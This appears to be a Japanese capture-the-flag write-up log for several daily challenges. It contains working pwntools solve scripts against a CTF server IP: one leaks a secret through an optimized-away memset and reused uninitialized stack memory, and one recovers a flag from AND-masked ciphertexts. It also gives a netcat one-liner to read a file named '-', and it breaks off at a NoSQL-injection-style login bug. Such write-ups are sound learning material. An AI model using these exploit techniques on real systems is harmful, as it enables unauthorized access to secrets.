Index

4/12 Erased Secret

prepare() では 32 byte のランダム secret を hex 文字列化して SHA-256 を取り、その後 memset() で消したつもりになっているが、-O2 ではその消去が dead store として最適化で消える。

次の challenge() では未初期化の mem[0x100] が同じスタック領域を再利用していて、逆アセンブル上では secretmem[224..255] にちょうど重なる。

したがって ? でその 32 byte を読むだけで secret を復元でき、そのまま ! で返せば通る。

from pwn import context, remote

context.log_level = "error"

io = remote("34.170.146.252", 36195)
io.recvuntil(b"choice: ")

secret = bytearray()
for i in range(224, 256):
    io.sendline(b"?")
    io.recvuntil(b"index: ")
    io.sendline(str(i).encode())
    line = io.recvline().decode()
    secret.append(int(line.rsplit("0x", 1)[1], 16))
    io.recvuntil(b"choice: ")

io.sendline(b"!")
io.recvuntil(b"secret: ")
io.sendline(secret)
print(io.recvall().decode("latin1"))

4/13 strange filename

flag のファイル名は Dockerfile の COPY flag.txt - によって - になっている。

このとき cat - はファイル名ではなく stdin を意味するので、そのままでは読めない。 subprocess.run(["cat", input("$ cat ")]) は shell を使っていないので、 ./- のように明示的なパスを渡せば実際のファイルとして開ける。

echo "./-" |nc 34.170.146.252 8935

4/14 wither

各 byte の暗号化は cipher[i] = plain[i] & key[i] で、key[i] は毎回独立な乱数。 暗号文をたくさん OR すると、そのまま平文が復元できる。

from pwn import context, remote

context.log_level = "error"

io = remote("34.170.146.252", 29127)

flag = None
for _ in range(100):
    io.recvuntil(b"Press Enter to get the encrypted flag...")
    io.sendline(b"")
    line = io.recvline().decode().strip()
    c = bytes.fromhex(line.split(": ", 1)[1])
    if flag is None:
        flag = bytearray(c)
    else:
        for i, b in enumerate(c):
            flag[i] |= b

print(flag.decode())

4/15 flag obfuscation

配布された data.h は、実行ファイルを 16 byte ごとに区切って IPv6 文字列へ変換したものになっている。 したがって各 IPv6 を16 byte に戻して連結すれば、元の flag_checker.exe をそのまま復元できる。

復元した PE では flag が比較用バッファとして命令の即値に埋め込まれているので、その即値だけ拾ってつなげる。

import ipaddress
import re
from pathlib import Path

text = Path("data.h").read_text()
ipv6_data = re.findall(r'"([^"]+)"', text)
exe = b"".join(ipaddress.IPv6Address(s).packed for s in ipv6_data)
...

4/16 One More Login Challenge

POST / では req.body から受け取った usernamepassword をそのまま findOne({ username, password }) に渡している。